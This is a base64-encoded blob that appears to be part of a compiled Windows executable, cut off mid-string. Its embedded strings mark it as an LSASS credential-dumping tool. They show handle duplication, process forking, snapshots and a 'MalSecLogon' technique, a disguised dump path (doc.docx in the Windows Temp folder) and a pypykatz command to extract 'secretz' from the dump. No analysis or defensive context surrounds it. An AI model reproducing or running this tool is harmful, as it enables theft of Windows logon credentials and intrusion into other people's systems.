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AtAGYAAAAgAC0AcwAAACAALQB2AAAAIAAtAG0AAAAgAC0ALQBzAHQAYQBnAGUAMgAAAAAAVG9vIG1hbnkgcHJvY2Vzc2VzLCBwbGVhc2UgaW5jcmVhc2UgTUFYX1BST0NFU1NFUwBNYWxTZWNMb2dvbiB0ZWNobmlxdWUgZmFpbGVkIQBObyBoYW5kbGVzIGZvdW5kIGluIExTQVNTLCBpcyB0aGUgUElEICVsZCBjb3JyZWN0Py4AQQBkAHYAYQBwAGkAMwAyAC4AZABsAGwAAABOAGEAbgBvAEQAdQBtAHAAUAB3AGQAAABOAGEAbgBvAEQAdQBtAHAARABvAG0AYQBpAG4AAABOAGEAbgBvAEQAdQBtAHAAVQBzAGUAcgAAAAAAbABzAGEAcwByAHYALgBkAGwAbAAAAG0AcwB2ADEAXwAwAC4AZABsAGwAAAB0AHMAcABrAGcALgBkAGwAbAAAAHcAZABpAGcAZQBzAHQALgBkAGwAbAAAAGsAZQByAGIAZQByAG8AcwAuAGQAbABsAAAAbABpAHYAZQBzAHMAcAAuAGQAbABsAAAAZABwAGEAcABpAHMAcgB2AC4AZABsAGwAAABrAGQAYwBzAHYAYwAuAGQAbABsAAAAYwByAHkAcAB0AGQAbABsAC4AZABsAGwAAABsAHMAYQBkAGIALgBkAGwAbAAAAHMAYQBtAHMAcgB2AC4AZABsAGwAAAByAHMAYQBlAG4AaAAuAGQAbABsAAAAbgBjAHIAeQBwAHQALgBkAGwAbAAAAG4AYwByAHkAcAB0AHAAcgBvAHYALgBkAGwAbAAAAGUAdgBlAG4AdABsAG8AZwAuAGQAbABsAAAAdwBlAHYAdABzAHYAYwAuAGQAbABsAAAAdABlAHIAbQBzAHIAdgAuAGQAbABsAAAAYwBsAG8AdQBkAGEAcAAuAGQAbABsAAAAAABUaGUgZHVtcCBzaXplIGV4Y2VlZHMgdGhlIDMyLWJpdCBhZGRyZXNzIHNwYWNlIQAKAAAAVGhlIGR1bXAgaXMgdG9vIGJpZywgcGxlYXNlIGluY3JlYXNlIERVTVBfTUFYX1NJWkUuAHVzYWdlOiAlcyBbLS1nZXRwaWRdIC0td3JpdGUgQzpcV2luZG93c1xUZW1wXGRvYy5kb2N4IFstLXZhbGlkXSBbLS1mb3JrXSBbLS1zbmFwc2hvdF0gWy0tZHVwXSBbLS1tYWxzZWNsb2dvbl0gWy0tYmluYXJ5IEM6XFdpbmRvd3Ncbm90ZXBhZC5leGVdIFstLWhlbHBdAAoAICAgIC0tZ2V0cGlkACAgICAgICAgICAgIHByaW50IHRoZSBQSUQgb2YgTFNBU1MgYW5kIGxlYXZlAAAAACAgICAtLXdya